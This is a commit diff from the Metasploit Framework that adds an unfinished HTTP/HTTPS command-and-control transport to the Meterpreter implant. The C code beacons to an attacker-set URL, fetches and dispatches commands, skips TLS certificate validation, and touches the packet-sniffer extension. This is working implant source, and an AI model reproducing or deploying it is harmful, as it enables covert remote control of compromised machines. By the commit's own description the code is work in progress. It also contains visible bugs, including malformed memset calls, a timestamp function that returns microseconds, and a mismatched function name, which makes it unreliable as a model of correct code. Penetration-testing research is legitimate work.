Merge in some recent meterpreter work, still a ways off before this is ready to use.

git-svn-id: file:///home/svn/framework3/trunk@13044 4d416f70-5f16-0410-b530-b9f4589650da

c/meterpreter/source/common/arch/win/i386/base_dispatch.c

@@ -221,3 +221,5 @@ DWORD remote_request_core_migrate( Remote * remote, Packet * packet )
 
 	return dwResult;
 }
+
+

c/meterpreter/source/common/base.c

@@ -117,18 +117,23 @@ DWORD command_register(Command *command)
 {
 	Command *newCommand;
 
+	dprintf("Registering a new command...");
 	if (!(newCommand = (Command *)malloc(sizeof(Command))))
 		return ERROR_NOT_ENOUGH_MEMORY;
 
+	dprintf("Allocated memory...");
 	memcpy(newCommand, command, sizeof(Command));
 
+	dprintf("Setting new command...");
 	if (extensionList)
 		extensionList->prev = newCommand;
 
+	dprintf("Fixing next/prev...");
 	newCommand->next    = extensionList;
 	newCommand->prev    = NULL;
 	extensionList       = newCommand;
 
+	dprintf("Done...");
 	return ERROR_SUCCESS;
 }
 

c/meterpreter/source/common/common.c

@@ -1,5 +1,37 @@
 #include "common.h"
 
+
+#ifdef _WIN32
+// This function returns a unix timestamp in UTC
+int current_unix_timestamp(void) {
+	SYSTEMTIME system_time;
+	FILETIME file_time;
+	ULARGE_INTEGER ularge;
+
+	GetSystemTime(&system_time);
+	SystemTimeToFileTime(&system_time, &file_time);
+	
+	ularge.LowPart = file_time.dwLowDateTime;
+	ularge.HighPart = file_time.dwHighDateTime;
+	return (long)((ularge.QuadPart - 116444736000000000) / 10000000L);
+}
+#else
+
+#include <sys/time.h>
+
+// This function returns a unix timestamp in UTC
+int current_unix_timestamp(void) {
+	struct timeval tv;
+	struct timezone tz;
+
+	memset(&tv, sizeof(tv));
+	memset(&tz, sizeof(tz));
+
+	gettimeofday(&tv, &tz);
+	return (long) tv.tv_usec;
+}
+#endif
+
 #ifndef _WIN32
 
 int debugging_enabled;

c/meterpreter/source/common/common.h

@@ -68,6 +68,13 @@ void real_dprintf(char *filename, int line, const char *function, char *format,
 
 #ifdef _WIN32
 
+#include <wininet.h>
+
+#define METERPRETER_TRANSPORT_SSL 0
+#define METERPRETER_TRANSPORT_HTTP 1
+#define METERPRETER_TRANSPORT_HTTPS 2
+
+// Enable debugging
 // #define DEBUGTRACE 1
 
 #ifdef DEBUGTRACE
@@ -83,7 +90,7 @@ void real_dprintf(char *filename, int line, const char *function, char *format,
 
 // Simple macros to close a handle and set the handle to NULL.
 #define CLOSE_SERVICE_HANDLE( h )	if( h ) { CloseServiceHandle( h ); h = NULL; }
-#define CLOSE_HANDLE( h )			if( h ) { CloseHandle( h ); h = NULL; }
+#define CLOSE_HANDLE( h )			if( h ) { DWORD dwHandleFlags; if(GetHandleInformation( h , &dwHandleFlags)) CloseHandle( h ); h = NULL; }
 
 static void real_dprintf(char *format, ...) {
 	va_list args;
@@ -97,3 +104,5 @@ static void real_dprintf(char *format, ...) {
 #endif
 
 #endif
+
+int current_unix_timestamp(void);

c/meterpreter/source/common/core.c

@@ -877,6 +877,20 @@ DWORD packet_remove_completion_handler(LPCSTR requestId)
  * Transmit and destroy a packet
  */
 DWORD packet_transmit(Remote *remote, Packet *packet, PacketRequestCompletion *completion)
+{
+	if (remote->transport == METERPRETER_TRANSPORT_SSL) {
+		return packet_transmit_via_ssl(remote, packet, completion);
+	}
+	if (remote->transport == METERPRETER_TRANSPORT_HTTP || remote->transport == METERPRETER_TRANSPORT_HTTPS) {
+		return packet_transmit_via_http(remote, packet, completion);
+	}
+	return 0;
+}
+
+/*
+ * Transmit and destroy a packet over SSL
+ */
+DWORD packet_transmit_via_ssl(Remote *remote, Packet *packet, PacketRequestCompletion *completion)
 {
 	CryptoContext *crypto;
 	Tlv requestId;
@@ -896,13 +910,10 @@ DWORD packet_transmit(Remote *remote, Packet *packet, PacketRequestCompletion *c
 
 		rid[sizeof(rid) - 1] = 0;
 
-		for (index = 0; 
+		for (index = 0; index < sizeof(rid) - 1; index++)
-		     index < sizeof(rid) - 1; 
-		     index++)
 			rid[index] = (rand() % 0x5e) + 0x21;
 
-		packet_add_tlv_string(packet, TLV_TYPE_REQUEST_ID,
+		packet_add_tlv_string(packet, TLV_TYPE_REQUEST_ID, rid);
-				rid);
 	}
 
 	do
@@ -993,6 +1004,154 @@ DWORD packet_transmit(Remote *remote, Packet *packet, PacketRequestCompletion *c
 	return res;
 }
 
+
+
+/*
+ * Transmit and destroy a packet over HTTP(S)
+ */
+DWORD packet_transmit_via_http(Remote *remote, Packet *packet, PacketRequestCompletion *completion)
+{
+	CryptoContext *crypto;
+	Tlv requestId;
+	DWORD res;
+#ifdef _UNIX
+	int local_error = -1;
+#endif
+
+
+
+	dprintf("Calling packet_transmit_via_http()...");
+
+	lock_acquire( remote->lock );
+
+	// If the packet does not already have a request identifier, create one for it
+	if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID,&requestId) != ERROR_SUCCESS)
+	{
+		DWORD index;
+		CHAR rid[32];
+
+		rid[sizeof(rid) - 1] = 0;
+
+		for (index = 0; index < sizeof(rid) - 1; index++)
+			rid[index] = (rand() % 0x5e) + 0x21;
+
+		packet_add_tlv_string(packet, TLV_TYPE_REQUEST_ID, rid);
+	}
+
+	do
+	{
+		// If a completion routine was supplied and the packet has a request 
+		// identifier, insert the completion routine into the list
+		if ((completion) &&
+		    (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID,
+				&requestId) == ERROR_SUCCESS))
+			packet_add_completion_handler((LPCSTR)requestId.buffer, completion);
+
+		// If the endpoint has a cipher established and this is not a plaintext
+		// packet, we encrypt
+		if ((crypto = remote_get_cipher(remote)) &&
+		    (packet_get_type(packet) != PACKET_TLV_TYPE_PLAIN_REQUEST) &&
+		    (packet_get_type(packet) != PACKET_TLV_TYPE_PLAIN_RESPONSE))
+		{
+			ULONG origPayloadLength = packet->payloadLength;
+			PUCHAR origPayload = packet->payload;
+
+			// Encrypt
+			if ((res = crypto->handlers.encrypt(crypto, packet->payload, 
+					packet->payloadLength, &packet->payload, 
+					&packet->payloadLength)) !=
+					ERROR_SUCCESS)
+			{
+				SetLastError(res);
+				break;
+			}
+
+			// Destroy the original payload as we no longer need it
+			free(origPayload);
+
+			// Update the header length
+			packet->header.length = htonl(packet->payloadLength + sizeof(TlvHeader));
+		}
+
+#ifdef _WIN32
+		dprintf("Transmitting packet of length %d to remote", packet->payloadLength);
+		res = packet_transmit_via_http_wininet(remote, packet, completion);
+#else
+		// XXX: Implement non-windows HTTP delivery
+#endif
+
+		if(res < 0) {
+			dprintf("[PACKET] transmit failed with return %d\n", res);
+			break;
+		}
+
+		SetLastError(ERROR_SUCCESS);
+	} while (0);
+
+	res = GetLastError();
+
+	// Destroy the packet
+	packet_destroy(packet);
+
+	lock_release( remote->lock );
+
+	return res;
+}
+
+
+/*
+ * Transmit and destroy a packet over HTTP(S)
+ */
+#ifdef _WIN32
+DWORD packet_transmit_via_http_wininet(Remote *remote, Packet *packet, PacketRequestCompletion *completion) {
+	DWORD res = 0;
+	HINTERNET hReq;
+	HINTERNET hRes;
+	DWORD retries = 5;
+	DWORD flags;
+	unsigned char *buffer;
+
+	buffer = malloc( packet->payloadLength + sizeof(TlvHeader) );
+	if (! buffer) {
+		SetLastError(ERROR_NOT_FOUND);
+		return 0;
+	}
+
+	memcpy(buffer, &packet->header, sizeof(TlvHeader));
+	memcpy(buffer + sizeof(TlvHeader), packet->payload, packet->payloadLength);
+
+	do {
+
+		flags = INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_AUTO_REDIRECT | INTERNET_FLAG_NO_UI;
+		if (remote->transport == METERPRETER_TRANSPORT_HTTPS) {
+			flags |= INTERNET_FLAG_SECURE |  INTERNET_FLAG_IGNORE_CERT_CN_INVALID  | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;
+		}
+
+		hReq = HttpOpenRequest(remote->hConnection, "POST", remote->uri, NULL, NULL, NULL, flags, 0);
+		if (hReq == NULL) {
			dprintf("[PACKET RECEIVE] Failed HttpOpenRequest: %d", GetLastError());
			SetLastError(ERROR_NOT_FOUND);
			break;
		}
+retry_request:
+		hRes = HttpSendRequest(hReq, NULL, 0, buffer, packet->payloadLength + sizeof(TlvHeader) );
+		if (hRes == NULL && GetLastError() == ERROR_INTERNET_INVALID_CA && retries > 0) {
+			retries--;
+			flags = 0x3380;
+			InternetSetOption(hReq, INTERNET_OPTION_SECURITY_FLAGS, &flags, 4);
+			goto retry_request;
+		}
+
+		if (! hRes) {
+			dprintf("[PACKET RECEIVE] Failed HttpSendRequest: %d", GetLastError());
+			SetLastError(ERROR_NOT_FOUND);
+			break;
+		}
+	} while(0);
+
+	memset(buffer, 0, packet->payloadLength + sizeof(TlvHeader));
+	InternetCloseHandle(hReq);
+	return res;
+}
+
+#endif
+
 /*
  * Transmits a response with nothing other than a result code in it
  */
@@ -1028,6 +1187,11 @@ DWORD packet_receive(Remote *remote, Packet **packet)
 	int local_error = -1;
 #endif
 
+	
+	if (remote->transport == METERPRETER_TRANSPORT_HTTP || remote->transport == METERPRETER_TRANSPORT_HTTPS)
+		return packet_receive_via_http(remote, packet);
+	
+	
 	lock_acquire( remote->lock );
 
 	do
@@ -1155,3 +1319,199 @@ DWORD packet_receive(Remote *remote, Packet **packet)
 	return res;
 }
 
+
+#ifdef _WIN32
+/*
+ * Receive a new packet over HTTP using WinInet
+ */
+DWORD packet_receive_http_via_wininet(Remote *remote, Packet **packet) {
+
+	DWORD headerBytes = 0, payloadBytesLeft = 0, res; 
+	CryptoContext *crypto = NULL;
+	Packet *localPacket = NULL;
+	TlvHeader header;
+	LONG bytesRead;
+	BOOL inHeader = TRUE;
+	PUCHAR payload = NULL;
+	ULONG payloadLength;
+	DWORD flags;
+
+	HINTERNET hReq;
+	HINTERNET hRes;
+	DWORD retries = 5;
+	
+	lock_acquire( remote->lock );
+
+	do {
+
+		flags = INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_AUTO_REDIRECT | INTERNET_FLAG_NO_UI;
+		if (remote->transport == METERPRETER_TRANSPORT_HTTPS) {
+			flags |= INTERNET_FLAG_SECURE | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;
+		}
+
+		hReq = HttpOpenRequest(remote->hConnection, "GET", remote->uri, NULL, NULL, NULL, flags, 0);
+		if (hReq == NULL) {
			dprintf("[PACKET RECEIVE] Failed HttpOpenRequest: %d", GetLastError());
			SetLastError(ERROR_NOT_FOUND);
			break;
		}
+retry_request:
+		hRes = HttpSendRequest(hReq, NULL, 0, "RECV", 4);
+		dprintf("[RECEIVE] Got HTTP Reply: 0x%.8x", hRes);	
+		if (hRes == NULL && GetLastError() == ERROR_INTERNET_INVALID_CA && retries > 0) {
+			retries--;
+			flags = 0x3380;
+			InternetSetOption(hReq, INTERNET_OPTION_SECURITY_FLAGS, &flags, 4);
+			goto retry_request;
+		}
+
+		if (! hRes) {
+			dprintf("[PACKET RECEIVE] Failed HttpSendRequest: %d", GetLastError());
+			SetLastError(ERROR_NOT_FOUND);
+			break;
+		}
+
+		// Read the packet length
+		retries = 3;
+		while (inHeader && retries > 0)
+		{
+			retries--;
+
+			if (! InternetReadFile(hReq, ((PUCHAR)&header + headerBytes), sizeof(TlvHeader) - headerBytes, &bytesRead))  {
+				dprintf("[PACKET RECEIVE] Failed HEADER InternetReadFile: %d", GetLastError());
+				SetLastError(ERROR_NOT_FOUND);
+				break;
+			}
+
+			headerBytes += bytesRead;
+	
+			if (headerBytes != sizeof(TlvHeader)) {
+				if (bytesRead == 0) {
+					SetLastError(ERROR_NOT_FOUND);
+					break;
+				}
+				continue;
+			} else {
+				inHeader = FALSE;
+			}
+		}
+		
+		if (headerBytes != sizeof(TlvHeader)) {
+			SetLastError(ERROR_NOT_FOUND);
+			break;
+		}
+
+		// Initialize the header
+		header.length    = header.length;
+		header.type      = header.type;
+		payloadLength    = ntohl(header.length) - sizeof(TlvHeader);
+		payloadBytesLeft = payloadLength;
+
+		// Allocate the payload
+		if (!(payload = (PUCHAR)malloc(payloadLength)))
+		{
+			SetLastError(ERROR_NOT_ENOUGH_MEMORY);
+			break;
+		}
+			
+		// Read the payload
+		retries = payloadBytesLeft;
+		while (payloadBytesLeft > 0 && retries > 0 )
+		{
+			retries--;
+
+			if (! InternetReadFile(hReq, payload + payloadLength - payloadBytesLeft, payloadBytesLeft, &bytesRead))  {
+				dprintf("[PACKET RECEIVE] Failed BODY InternetReadFile: %d", GetLastError());
+				SetLastError(ERROR_NOT_FOUND);
+				break;
+			}
+
+			if (!bytesRead) {
+				SetLastError(ERROR_NOT_FOUND);
+				break;
+			}
+
+			payloadBytesLeft -= bytesRead;
+		}
+		
+		// Didn't finish?
+		if (payloadBytesLeft)
+			break;
+
+		// Allocate a packet structure
+		if (!(localPacket = (Packet *)malloc(sizeof(Packet))))
+		{
+			SetLastError(ERROR_NOT_ENOUGH_MEMORY);
+			break;
+		}
+
+		memset( localPacket, 0, sizeof(Packet) );
+
+		// If the connection has an established cipher and this packet is not
+		// plaintext, decrypt
+		if ((crypto = remote_get_cipher(remote)) &&
+		    (packet_get_type(localPacket) != PACKET_TLV_TYPE_PLAIN_REQUEST) &&
+		    (packet_get_type(localPacket) != PACKET_TLV_TYPE_PLAIN_RESPONSE))
+		{
+			ULONG origPayloadLength = payloadLength;
+			PUCHAR origPayload = payload;
+
+			// Decrypt
+			if ((res = crypto->handlers.decrypt(crypto, payload, payloadLength,&payload, &payloadLength)) != ERROR_SUCCESS)
+			{
+				SetLastError(res);
+				break;
+			}
+
+			// We no longer need the encrypted payload
+			free(origPayload);
+		}
+
+		localPacket->header.length = header.length;
+		localPacket->header.type   = header.type;
+		localPacket->payload       = payload;
+		localPacket->payloadLength = payloadLength;
+
+		*packet = localPacket;
+
+		SetLastError(ERROR_SUCCESS);
+
+	} while (0);
+
+	res = GetLastError();
+
+	// Cleanup on failure
+	if (res != ERROR_SUCCESS)
+	{
+		if (payload)
+			free(payload);
+		if (localPacket)
+			free(localPacket);
+	}
+
+	if (hReq) 
+		InternetCloseHandle(hReq);
+
+	lock_release( remote->lock );
+
+	return res;
+}
+
+#endif
+
+
+
+/*
+ * Receive a new packet over HTTP
+ */
+#ifdef _WIN32
+
+DWORD packet_receive_via_http(Remote *remote, Packet **packet)
+{
+	return packet_receive_http_via_wininet(remote, packet);
+}
+
+#else
+
+DWORD packet_receive_via_http(Remote *remote, Packet **packet)
+{
+	return 0;
+}
+
+#endif

c/meterpreter/source/common/core.h

@@ -186,9 +186,17 @@ LINKAGE DWORD packet_get_result(Packet *packet);
 /*
  * Packet transmission
  */
-LINKAGE DWORD packet_transmit(Remote *remote, Packet *packet,PacketRequestCompletion *completion);
+LINKAGE DWORD packet_transmit(Remote *remote, Packet *packet, PacketRequestCompletion *completion);
 LINKAGE DWORD packet_transmit_empty_response(Remote *remote, Packet *packet, DWORD res);
 LINKAGE DWORD packet_receive(Remote *remote, Packet **packet);
+LINKAGE DWORD packet_receive_via_http(Remote *remote, Packet **packet);
+LINKAGE DWORD packet_transmit_via_ssl(Remote *remote, Packet *packet, PacketRequestCompletion *completion);
+LINKAGE DWORD packet_transmit_via_http(Remote *remote, Packet *packet, PacketRequestCompletion *completion);
+
+#ifdef _WIN32
+LINKAGE DWORD packet_receive_via_http_wininet(Remote *remote, Packet **packet);
+LINKAGE DWORD packet_transmit_via_http_wininet(Remote *remote, Packet *packet, PacketRequestCompletion *completion);
+#endif
 
 #define packet_transmit_response(result, remote, response)    \
 	if (response) {                                            \

c/meterpreter/source/common/remote.c

@@ -41,6 +41,12 @@ VOID remote_deallocate( Remote * remote )
 	if( remote->lock )
 		lock_destroy( remote->lock );
 
+	if ( remote->uri )
+		free( remote->uri);
+
+	// Wipe our structure from memory
+	memset(remote, 0, sizeof(Remote));
+
 	free(remote);
 }
 

c/meterpreter/source/common/remote.h

@@ -1,6 +1,8 @@
 #ifndef _METERPRETER_LIB_REMOTE_H
 #define _METERPRETER_LIB_REMOTE_H
 
+
+
 #include "crypto.h"
 #include "thread.h"
 /*
@@ -27,6 +29,18 @@ typedef struct _Remote
 	char * cpCurrentStationName;
 	char * cpOrigDesktopName;
 	char * cpCurrentDesktopName;
+	
+	DWORD transport;
+	char *url;
+	char *uri;
+	HANDLE hInternet;
+	HANDLE hConnection;
+
+	int expiration_time;
+	int start_time;
+	int comm_last_packet;
+	int comm_timeout;
+
 } Remote;
 
 Remote *remote_allocate(SOCKET fd);

c/meterpreter/source/extensions/sniffer/sniffer.c

@@ -941,12 +941,15 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
 {
 	DWORD index;
 
-	for (index = 0;
+	dprintf("[SERVER] Registering command handlers...");
-	     customCommands[index].method;
+	for (index = 0; customCommands[index].method; index++) {
-	     index++)
+		dprintf("Registering command index %d", index);
+		dprintf("  Command: %s", customCommands[index].method);
+		dprintf(" Register: 0x%.8x", command_register);
 		command_register(&customCommands[index]);
+	}
 
-
+	dprintf("[SERVER] Memory reset of open_captures...");
 	memset(open_captures, 0, sizeof(open_captures));
 
 #ifdef _WIN32
@@ -954,6 +957,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
 	hMgr = NULL;
 	hErr = 0;
 
+	dprintf("[SERVER] Memory reset of include/exclude port lists...");
 	// wipe the include/exclude ports empty
 	memset(sniffer_includeports, 0, sizeof(sniffer_includeports));
 	memset(sniffer_excludeports, 0, sizeof(sniffer_excludeports));
@@ -961,14 +965,18 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
 	sniffer_excludeports[0] = -1;	
 #endif	
 
+	dprintf("[SERVER] Getting the peer name of our socket...");
 	// get the address/port of the connected control socket
 	peername4 = NULL;
 	peername6 = NULL;
 	peername_len = sizeof(peername);
 	getpeername(remote->fd, &peername, &peername_len);
 	if(peername.sa_family == PF_INET)  peername4 = (struct sockaddr_in *)&peername;
+	
+	dprintf("[SERVER] Getting the IPv6 peer name of our socket...");
 	if(peername.sa_family == PF_INET6) peername6 = (struct sockaddr_in6 *)&peername;
 
+	dprintf("[SERVER] Creating a lock...");
 	snifferm = lock_create();
 
 #ifdef _WIN32

c/meterpreter/source/server/metsrv.h

@@ -10,6 +10,7 @@
  */
 #define METSRV_VERSION_NUMBER 0x00000500
 
+
 #ifdef _WIN32
 #define USE_DLL
 #endif

c/meterpreter/source/server/server_setup.c

@@ -1,6 +1,12 @@
 #include "metsrv.h"
 #include "../../common/common.h"
 
+
+char * global_meterpreter_transport = "METERPRETER_TRANSPORT_SSL\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
+char * global_meterpreter_url = "https://XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/\x00";
+int global_expiration_timeout = 0xb64be661;
+int global_comm_timeout       = 0xaf79257f;
+
 #ifdef _WIN32
 
 #include <windows.h> // for EXCEPTION_ACCESS_VIOLATION 
@@ -313,7 +319,7 @@ static BOOL server_negotiate_ssl(Remote *remote)
 }
 
 /*
- * The servers main dispatch loop for incoming requests.
+ * The servers main dispatch loop for incoming requests using SSL over TCP
  */
 static DWORD server_dispatch( Remote * remote )
 {
@@ -370,6 +376,135 @@ static DWORD server_dispatch( Remote * remote )
 	return result;
 }
 
+
+/*
+ * The servers main dispatch loop for incoming requests using SSL over TCP
+ */
+static DWORD server_dispatch_http_wininet( Remote * remote )
+{
+	LONG result     = ERROR_SUCCESS;
+	Packet * packet = NULL;
+	THREAD * cpt    = NULL;
+	URL_COMPONENTS bits;
+	DWORD ecount = 0;
+	DWORD delay = 0;
+
+	
+	if (global_expiration_timeout > 0) 
+		remote->expiration_time  = current_unix_timestamp() + global_expiration_timeout;
+	else
+		remote->expiration_time = 0;
+	
+	remote->comm_timeout     = global_comm_timeout;
+	remote->start_time       = current_unix_timestamp();
+	remote->comm_last_packet = current_unix_timestamp();
+	
+	// Allocate the top-level handle
+	remote->hInternet = InternetOpen("Meterpreter/Windows", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
+	if (!remote->hInternet) {
+		dprintf("[DISPATCH] Failed InternetOpen: %d", GetLastError());
+		return 0;
+	}
+	dprintf("[DISPATCH] Configured hInternet: 0x%.8x", remote->hInternet);
+
+	// The InternetCrackUrl method was poorly designed...
+	memset(&bits, 0, sizeof(bits));
+	bits.dwStructSize = sizeof(bits);
+	bits.dwSchemeLength    = 1;
+	bits.dwHostNameLength  = 1;
+	bits.dwUserNameLength  = 1;
+	bits.dwPasswordLength  = 1;
+	bits.dwUrlPathLength   = 1;
+	bits.dwExtraInfoLength = 1;
+	InternetCrackUrl(remote->url, 0, 0, &bits);
+
+	remote->uri = _strdup(bits.lpszUrlPath);
+
+	bits.lpszHostName[bits.dwHostNameLength] = 0;
+
+
+	dprintf("[DISPATCH] Configured URL: %s", remote->uri);
+	dprintf("[DISPATCH] Host: %s Port: %u", bits.lpszHostName, bits.nPort);
+
+	// Allocate the connection handle
+	remote->hConnection = InternetConnect(remote->hInternet, bits.lpszHostName, bits.nPort, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
+	if (!remote->hConnection) {
+		dprintf("[DISPATCH] Failed InternetConnect: %d", GetLastError());
+		return 0;
+	}
+	dprintf("[DISPATCH] Configured hConnection: 0x%.8x", remote->hConnection);
+
+
+	// Bring up the scheduler subsystem.
+	result = scheduler_initialize( remote );
+	if( result != ERROR_SUCCESS )
+		return result;
+
+	while( TRUE )
+	{
+		if (remote->comm_timeout != 0 && remote->comm_last_packet + remote->comm_timeout < current_unix_timestamp()) {
+			dprintf("[DISPATCH] Shutting down server due to communication timeout");
+			break;
+		}
+
+		if (remote->expiration_time != 0 && remote->expiration_time < current_unix_timestamp()) {
+			dprintf("[DISPATCH] Shutting down server due to hardcoded expiration time");
+			dprintf("Timestamp: %u  Expiration: %u", current_unix_timestamp(), remote->expiration_time);
+			break;
+		}
+
+		if( event_poll( serverThread->sigterm, 0 ) )
+		{
+			dprintf( "[DISPATCH] server dispatch thread signaled to terminate..." );
+			break;
+		}
+
+		dprintf("[DISPATCH] Reading data from the remote side...");
+		result = packet_receive( remote, &packet );
+		if( result != ERROR_SUCCESS ) {
+
+			if (ecount < 10)
+				delay = 10 * ecount;
+			else 
+				delay = 100 * ecount;
+			
+			ecount++;
+
+			dprintf("[DISPATCH] no pending packets, sleeping for %dms...", min(10000, delay));
+			Sleep( min(10000, delay) );
+			continue;
+		}
+
+		remote->comm_last_packet = current_unix_timestamp();
+
+		// Reset the empty count when we receive a packet
+		ecount = 0;
+
+		dprintf("[DISPATCH] Returned result: %d", result);
+
+		cpt = thread_create( command_process_thread, remote, packet );
+		if( cpt )
+		{
+			dprintf( "[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle );
+			thread_run( cpt );
+		}	
+	}
+
+	// Close WinInet handles
+	InternetCloseHandle(remote->hConnection);
+	InternetCloseHandle(remote->hInternet);
+
+	dprintf( "[DISPATCH] calling scheduler_destroy..." );
+	scheduler_destroy();
+
+	dprintf( "[DISPATCH] calling command_join_threads..." );
+	command_join_threads();
+
+	dprintf( "[DISPATCH] leaving server_dispatch." );
+
+	return result;
+}
+
 /*
  * Get the session id that this meterpreter server is running in.
  */
@@ -447,6 +582,19 @@ DWORD server_setup( SOCKET fd )
 				break;
 			}
 
+			remote->url = global_meterpreter_url;
+
+			if (strcmp(global_meterpreter_transport+12, "TRANSPORT_SSL") == 0) {
+				remote->transport = METERPRETER_TRANSPORT_SSL;
+				dprintf("[SERVER] Using SSL transport...");
+			} else if (strcmp(global_meterpreter_transport+12, "TRANSPORT_HTTPS") == 0) {
+				remote->transport = METERPRETER_TRANSPORT_HTTPS;
+				dprintf("[SERVER] Using HTTPS transport...");
+			} else if (strcmp(global_meterpreter_transport+12, "TRANSPORT_HTTP") == 0) {
+				remote->transport = METERPRETER_TRANSPORT_HTTP;
+				dprintf("[SERVER] Using HTTP transport...");
+			}
+
 			// Do not allow the file descriptor to be inherited by child processes
 			SetHandleInformation((HANDLE)fd, HANDLE_FLAG_INHERIT, 0);
 
@@ -474,31 +622,53 @@ DWORD server_setup( SOCKET fd )
 			remote->cpCurrentDesktopName = _strdup( cDesktopName );
 #endif
 
-			dprintf("[SERVER] Flushing the socket handle...");
-			server_socket_flush( remote );
 
-			dprintf("[SERVER] Initializing SSL...");
-			if( !server_initialize_ssl( remote ) )
-				break;
 
-			dprintf("[SERVER] Negotiating SSL...");
-			if( !server_negotiate_ssl( remote ) )
-				break;
 
-			dprintf("[SERVER] Registering dispatch routines...");
+			// Process our default SSL-over-TCP transport
-			register_dispatch_routines();
+			if (remote->transport == METERPRETER_TRANSPORT_SSL) {
+				dprintf("[SERVER] Flushing the socket handle...");
+				server_socket_flush( remote );
 		
-			dprintf("[SERVER] Entering the main server dispatch loop...");
+				dprintf("[SERVER] Initializing SSL...");
-			server_dispatch( remote );
+				if( !server_initialize_ssl( remote ) )
+					break;
 
-			dprintf("[SERVER] Deregistering dispatch routines...");
+				dprintf("[SERVER] Negotiating SSL...");
-			deregister_dispatch_routines( remote );
+				if( !server_negotiate_ssl( remote ) )
+					break;
+
+				dprintf("[SERVER] Registering dispatch routines...");
+				register_dispatch_routines();
+
+				dprintf("[SERVER] Entering the main server dispatch loop for transport %d...", remote->transport);
+				server_dispatch( remote );
+		
+				dprintf("[SERVER] Deregistering dispatch routines...");
+				deregister_dispatch_routines( remote );
+			}
+
+			if (remote->transport == METERPRETER_TRANSPORT_HTTP || remote->transport == METERPRETER_TRANSPORT_HTTPS) {
+				dprintf("[SERVER] Registering dispatch routines...");
+				register_dispatch_routines();
+				
+				dprintf("[SERVER] Entering the main server dispatch loop for transport %d...", remote->transport);
+#ifdef _WIN32
+				server_dispatch_http_wininet( remote );
+#else
+				// XXX: Handle non-windows HTTP transport
+#endif 
+
+				dprintf("[SERVER] Deregistering dispatch routines...");
+				deregister_dispatch_routines( remote );
+			}
 
 		} while (0);
 
-		dprintf("[SERVER] Closing down SSL...");
+		if (remote->transport == METERPRETER_TRANSPORT_SSL) {
-
+			dprintf("[SERVER] Closing down SSL...");
-		server_destroy_ssl( remote );
+			server_destroy_ssl( remote );
+		}
 
 		if( remote )
 			remote_deallocate( remote );

c/meterpreter/source/server/win/remote_dispatch.c

@@ -89,21 +89,21 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
 		// call its Init routine
 		if ((flags & LOAD_LIBRARY_FLAG_EXTENSION) && (library))
 		{
-			EXTENSION * exension = (EXTENSION *)malloc( sizeof(EXTENSION) );
+			EXTENSION * extension = (EXTENSION *)malloc( sizeof(EXTENSION) );
-			if( exension )
+			if( extension )
 			{
-				exension->library = library;
+				extension->library = library;
 
 				// if the library was loaded via its reflective loader we must use GetProcAddressR()
 				if( bLibLoadedReflectivly )
 				{
-					exension->init   = (LPVOID)GetProcAddressR( exension->library, "InitServerExtension" );
+					extension->init   = (LPVOID)GetProcAddressR( extension->library, "InitServerExtension" );
-					exension->deinit = (LPVOID)GetProcAddressR( exension->library, "DeinitServerExtension" );
+					extension->deinit = (LPVOID)GetProcAddressR( extension->library, "DeinitServerExtension" );
 				}
 				else
 				{
-					exension->init   = (LPVOID)GetProcAddress( exension->library, "InitServerExtension" );
+					extension->init   = (LPVOID)GetProcAddress( extension->library, "InitServerExtension" );
-					exension->deinit = (LPVOID)GetProcAddress( exension->library, "DeinitServerExtension" );
+					extension->deinit = (LPVOID)GetProcAddress( extension->library, "DeinitServerExtension" );
 				}
 
 				// patch in the metsrv.dll's HMODULE handle, used by the server extensions for delay loading
@@ -112,16 +112,16 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
 				remote->hMetSrv = hAppInstance;
 
 				// Call the init routine in the library
-				if( exension->init )
+				if( extension->init )
 				{
 					dprintf("[SERVER] Calling init()...");
 
-					res = exension->init( remote );
+					res = extension->init( remote );
 
 					if( res == ERROR_SUCCESS )
-						list_push( extension_list, exension );
+						list_push( extension_list, extension );
 					else
-						free( exension );
+						free( extension );
 				}
 				dprintf("[SERVER] Called init()...");
 			}

c/meterpreter/workspace/ext_server_sniffer/ext_server_sniffer.vcproj

@@ -191,12 +191,12 @@
 			/>
 			<Tool
 				Name="VCCLCompilerTool"
-				Optimization="1"
+				Optimization="2"
-				InlineFunctionExpansion="0"
+				InlineFunctionExpansion="1"
 				EnableIntrinsicFunctions="false"
-				FavorSizeOrSpeed="2"
+				FavorSizeOrSpeed="0"
 				AdditionalIncludeDirectories="..\..\source\extensions\sniffer;..\..\source\openssl\include;&quot;C:\Program Files (x86)\MicroOLAP Packet Sniffer SDK\win32\pssdk_vc_lib\include&quot;"
-				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_SNIFFER_EXPORTS"
+				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;_CRT_SECURE_NO_WARNINGS;EXT_SERVER_SNIFFER_EXPORTS"
 				StringPooling="true"
 				RuntimeLibrary="0"
